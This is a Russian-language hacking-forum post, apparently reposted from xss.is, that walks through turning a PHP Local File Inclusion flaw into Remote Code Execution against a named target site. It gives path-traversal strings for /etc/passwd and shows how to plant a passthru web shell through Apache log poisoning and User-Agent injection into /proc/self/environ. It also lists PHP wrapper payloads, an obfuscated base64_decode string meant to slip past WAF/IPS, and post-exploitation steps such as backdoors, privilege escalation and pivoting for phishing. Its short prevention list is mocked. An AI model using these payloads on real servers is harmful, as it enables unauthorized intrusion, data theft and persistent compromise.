Хакаем darkboys666 или раскручиваем Local File Inclusion до Remote Code Execution.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Авторство: hackeryaroslav​

Источник: xss.is​

Время чтения:
Динамичный темп: 13.2 минут.
Нормальный темп: 13.7 минут.
Комфортный темп: 14.2 минут.


даже не спрашивайте откуда я это взял


Интро:
Веб-приложения предназначены для предоставления системно-независимого интерфейса к динамически генерируемому контенту любому пользователю с веб-браузером. Наблюдается увеличение важности и распространение веб-приложений в последние годы, сопровождающееся ростом уязвимостей в их безопасности. Эта статья обсуждает методы, такие как LFI (локальное включение файлов) и RCE (удаленное выполнение кода), которые могут привести к серьезным проблемам безопасности. Сегодня мы разберем крупный инцидент взлома и как наша команда поймала на ошибке главу крупнейшей группировки мира darkboys666

I. Введение

Локальное включение файла (LFI) представляет собой уязвимость в некоторых веб-приложениях, когда разработчик не фильтрует входные данные от пользователей, что может привести к чтению "внутренних" файлов на сервере-жертве. В статье рассматриваются последствия использования LFI, включая раскрытие конфиденциальной информации сервера.

Local-File-Inclusion-work.png

Удаленное выполнение кода (RCE) – это возможность злоумышленника выполнять команды на сервере. RCE обсуждается как техника атаки, позволяющая внедрить PHP-скрипты на целевой сайт, что может привести к нарушению контроля доступа к системе.

614866db718e933f7b9c4f6a_remote%20code%20execution%20work.png

Для тех кто в танке что мы будем сейчас делать:
Давайте представим, что у Маши и Саши, клиентов нашей команды, есть виртуальный чат, где они обсуждают свои секреты. Файл с их секретами на сервере называется etc/passwd, но это не понравилось лидеру одной из самых опасных группировок мира с никнеймом darkboy666 и он хочет получить доступ к файлу /etc/passwd, который содержит чувствительную информацию о пользователях сервера. Но мы его пресекли и сейчас достанем шелл из его сайта.👹

II. Обзор


Как и в случае многих уязвимостей веб-приложений, проблема LFI и RCE связана с недостаточной проверкой пользовательского ввода. В ходе разработки программного обеспечения необходимо учитывать безопасность, особенно при работе с внутренними или внешними ресурсами. LFI может привести к различным угрозам, таким как утечка конфиденциальной информации, выполнение кода и отказ в обслуживании.

Статья подчеркивает важность сканирования пользовательского ввода и предлагает рекомендации по устранению уязвимостей, связанных с LFI и RCE. Учитывая увеличение числа веб-приложений, обеспечение их безопасности становится критически важным аспектом в области веб-разработки.

III. Внедрение и исследования

  1. Включение локальных файлов
Часто используется техника локального включения файлов (LFI) для чтения различных файлов, таких как /etc/passwd, /etc/shadow, /etc/group, /etc/security/passwd, /etc/security/user, /etc/security/environ, /etc/security/limits, или файл конфигурации базы данных (config.inc.php). Приведен пример уязвимого PHP-кода, поддерживающего LFI:

PHP: Скопировать в буфер обмена
Код:
<?php
$file = $_GET["file"];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>

Легко обнаружить и использовать уязвимости LFI. Любой скрипт, включающий файл с веб-сервера, может быть подвергнут тестированию на LFI. Например:

Код с оформлением (BB-коды): Скопировать в буфер обмена
/script.php?page=.../.../.../.../.../.../.../etc/passwd

В различных LFI атаках используются различные PHP реперы, такие как php?page=expect://ls, /fi/?page=php://input&cmd=ls, и другие.

  1. Удаленное выполнение кода
Удаленное выполнение кода (RCE), также известное как RFI, представляет собой технику атаки, при которой внедряется PHP-скрипт на целевой веб-сайт, включая "внешние" файлы (PHP Shell). Уязвимый PHP-код может быть следующим:

PHP: Скопировать в буфер обмена
Код:
<?php
$file = $_GET['page'];
include($file .".php");
?>

Злоумышленник может успешно использовать эту технику, внедряя произвольные команды на веб-сервер жертвы. Недостаточная проверка содержимого переменной $page дает возможность легко внедрить PHP Shell на веб-страницу:


Метод "Удаленное выполнение кода (RCE)" может также использоваться для загрузки неограниченных или оболочечных файлов в функции загрузки, если отсутствует проверка безопасности формата файла. LFI-уязвимости могут быть применены для выполнения команды, внедрив вредоносный код в Apache журнал, окружение процесса и другие файлы.

  1. LFI до RCE
1. Через файлы журналов:

При использовании команд LFI для чтения файлов, таких как /etc/passwd, /etc/shadow и др., злоумышленник стремится создать вредоносный HTTP-запрос в журналах Apache. Процесс выглядит следующим образом:

Код: Скопировать в буфер обмена
Код:
telnet www.darkboys666.com 80
GET /index.php?p=hackpentagon.php HTTP/1.1

Для выполнения произвольных команд на целевой системе необходимо внедрить PHP-код через HTTP-запрос:

PHP: Скопировать в буфер обмена
Код:
telnet www.darkboys666.com 80
GET /cwh/<?passthru($_GET[cmd])?> HTTP/1.1

Затем используется уязвимость LFI для выполнения произвольных команд, определяя местоположение журналов, например:

Код: Скопировать в буфер обмена
www.darkboys666.com/index.php?p=../../apache/logs/access.log

После внедрения кода в файлы журналов, злоумышленник может выполнять произвольные команды с переменной "cmd":

Код: Скопировать в буфер обмена
www.darkboys666.com/hackpentagon.php?p=../../apache/logs/access.log%00&cmd=ls -la

2. Через Process Environ (User-Agent):

При запросе PHP-страницы создается новый процесс, и каждый процесс имеет свою собственную запись в /proc. Для использования User-Agent с вредоносным кодом можно внедрить:

PHP: Скопировать в буфер обмена
<?passthru($_GET[cmd])?>

Когда этот код внедрен в UserAgent, /proc/self/environ содержит вредоносный код:

PHP: Скопировать в буфер обмена
Код:
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@darkboys666.com
<?passthru($_GET[cmd])?>
HTTP_KEEP_ALIVE=300

Затем можно выполнить команду, указав местоположение /proc/self/environ и переменную "cmd":

PHP: Скопировать в буфер обмена
www.darkboys666.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la

Продвинутая атака:
Внедрение вредоносного кода через защитные механизмы


Веб-приложения часто защищены различными средствами: файерволами, IPS/IDS, WAF и т.д. Чтобы обойти защиту и внедрить вредоносный код, атакующие прибегают к разным уловкам.

Популярный прием - обфускация, когда исходный PHP-код маскируется различными способами. Например:
  1. Кодирование строк: hex-кодирование символов, перекодировка в base64 и т.д. Затрудняет обнаружение IPS сигнатур.
  2. Использование альтернативных расширений PHP вроде .phtml, .php3, .php5. Позволяет обойти ограничения на исполнение PHP в некоторых конфигурациях.
  3. Разделение оператора через тернарный : или конкатенацию . - затрудняет поиск оригинального кода.
  4. Вызов UDF (user-defined functions) через CREATE FUNCTION или импорт внешних библиотек.
Также возможно комбинировать методы - например, разбить код на части и закодировать строки:

$a='b'.'a'.'s'.'e'.'6'.'4'.'d'.'e'.'c'.'o';$b='d'.'e';$c='e';$d=str_replace('__','',${$a.$b.$c}("cmd"));

Это сильно затруднит обнаружение и IPS или WAF.

Использование функциональности PHP

Еще один эффективный подход - использовать wrapped-функции PHP, которые могут применять фильтры или обращаться к сторонним ресурсам. Классические примеры:
  1. php://filter - позволяет зашифровать/расшифровать данные на лету:
PHP: Скопировать в буфер обмена
?file=php://filter/read=convert.base64-encode/resource=config.php

  1. zip:// - обращается к файлам в ZIP архиве на сервере:
PHP: Скопировать в буфер обмена
?file=zip://uploads/archive.zip%23malicious.php

  1. phar:// - исполняет код из PHP-архивов (.phar):
PHP: Скопировать в буфер обмена
?file=phar://uploads/shell.jpg/test.txt

  1. data:// - может выполнять код, заданный в base64 строке параметра:
PHP: Скопировать в буфер обмена
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

Также злоумышленники прибегают к нескольким wrapped-функций:

PHP: Скопировать в буфер обмена
file() -> php://filter -> zlib:// -> data:// -> base64_code

Это позволяет скрыть истинный вектор атаки от IPS или WAF.

Учитывая богатый функционал PHP, атакующие имеют множество опций для обхода защиты и эксплуатации LFI/RFI уязвимостей.

А можно сразу найти эти уязвимости, чтоб тык, тык и готово? Какие советы можешь дать?
Автоматизированный поиск уязвимостей


Эффективным подходом к обнаружению потенциальных уязвимостей LFI и RCE является автоматизированный поиск (fuzzing) уязвимых параметров веб-приложения.

Существует множество инструментов для этих целей, среди которых можно выделить:
  • OWASP ZAP - популярный сканер уязвимостей с открытым исходным кодом, обладающий встроенными фаззерами
  • Wfuzz - утилита командной строки, позволяющая задавать словари для тестирования различных параметров
  • Burp Suite - платформа для тестирования веб-приложений, включающая функционал интеллектуального сканирования уязвимостей
Чтобы выявить потенциально уязвимые участки кода, сканеры проверяют отклик при передаче специально сформированных данных в параметры запросов.

Например, классический вариант - подбор путей к локальным файлам и ресурсам: ../../etc/passwd, locales\config.php и т.д.

Также проверяется возможность инъекции произвольных команд, обращения к удаленным сайтам и другие опасные варианты, которые могут указывать на LFI или RFI уязвимости.

Тестирование обнаруженных уязвимостей

Как только сканирование выявляет подозрительный запрос, требуется дополнительная проверка - возможно ложное срабатывание. Для подтверждения уязвимости используют такие методы:

  • Подбор актуальных путей к критичным файлам (например, /etc/passwd), локальным скриптам и их параметрам. Анализ полученных данных или ошибок.
  • Попытка выполнения команд и анализ ответов сервера: проверки наличия нужных расширений, обращение к временным файлам, обход ограничений и т.д.
  • Исследование возможности вызова удаленных сайтов через wrappers, включение шаблонов и другие техники внедрения кода.
  • При обнаружении действительной уязвимости также важно определить ее диапазон воздействия, затрагиваемые компоненты приложения и другие детали для последующей эксплуатации.
Определение параметров среды

Прежде, чем приступить непосредственно к атаке на приложение, требуется собрать необходимые данные об инфраструктуре цели:
  • Версия PHP сборки и используемых модулей. Влияет на выбор методов эксплуатации.
  • Наличие нужных расширений и функций, доступное пространство имен. Проверяется путем вызова соответствующих функций в инъекции.
  • Возможные ограничения со стороны файервола, IPS или конфигурации самого PHP.
  • Список установленного ПО, доступное для компрометации. Выявляется при тестировании LFI к различным конфигурационным файлам.
Эти сведения помогают выбрать оптимальную технику атаки, понять какие векторы будут работать, а какие с большой вероятностью заблокированы защитными механизмами приложения.

Выбор метода RCE внедрения

Конечным этапом обычно является попытка внедрения и выполнения произвольного кода на сервере жертвы.

В зависимости от особенностей целевой инфраструктуры могут использоваться различные варианты атаки:
  • Если есть доступ на запись к удаленным логам или промежуточным файлам - классический вариант с внедрением через них.
  • При наличии уязвимого интерпретатора - попытка подключения PHP шелла из внешнего источника.
  • Вызов функций для выполнения кода из строки base64, закодированной нагрузки и т.п.
  • Использование Wrappers для запуска кода из внедренных файлов ZIP/RAR архивов на сервере.
  • Вызов UDF или загруженных вредоносных расширений, обход ограничений disable_functions и т.д.
Пробуй комбинирование нескольких методов, это также может помочь в обходе защиты WAF или IPS, если основные векторы атаки заблокированы.

Продолжаем атаку:
Итак, мы получили доступ к серверу darkboys666 через уязвимость LFI или RCE. Вот что можно было бы сделать дальше:
  1. Попытаться повысить привилегии до root с помощью exploit'ов. Например, проверить наличие уязвимых версий sudo, cron и т.д.
  2. Скомпрометировать веб-приложения, работающие на сервере. Например, если там установлен WordPress, можно попробовать получить доступ к админке.
  3. Исследовать файловую систему в поисках полезной информации - паролей, данных пользователей, исходников скриптов и т.д. (весь приватный софт группировки будет слит!)
  4. Установить backdoor для сохранения доступа. Например, веб-шелл в publicly доступной директории. Посмотрим, чем они там занимаются
  5. Сканировать локальную сеть на предмет других уязвимых серверов, до которых можно добраться из скомпрометированной системы. Выходим на лидера.
  6. Использовать захваченный сервер в качестве плацдарма для дальнейших атак, например фишинга.

VI. Предотвращение
  • Установка последних исправлений производителя для уязвимого программного обеспечения.
  • Сбор, анализ и использование актуальной информации о угрозах.
  • Автоматизация процесса установки патчей для рабочих станций и серверов.
  • Рассмотрение внедрения chroot-тюрьмы.
  • Проверка файлов и имен файлов, предоставляемых пользователями.
  • Тщательная проверка входных данных и инициализация переменных.
  • Отключение опций allow_url_fopen и allow_url_include.
  • Отключение register_globals и использование E_STRICT для поиска неинициализированных переменных.
  • Тщательная проверка функций работы с файлами и потоками (stream_*).
  • Точное указание местоположения файлов, чтобы избежать инъекций удаленных файлов.
  • Но кому это нужно, если мы уже взломали сайт darkboys666?
V. Заключение

После изучения вопроса включения локальных файлов для удаленного выполнения становится ясно, как можно выполнить удаленные файлы в системе, получив несанкционированный доступ. Из-за недостатков в конфигурации системы, даже с помощью простого выполнения PHP-кода LFI в RCE может быть легко осуществлено. Для предотвращения подобных киберугроз важно в реальном времени анализировать примеры веб-сайтов и реагировать на них. Кроме darkboys666.
 
Сверху Снизу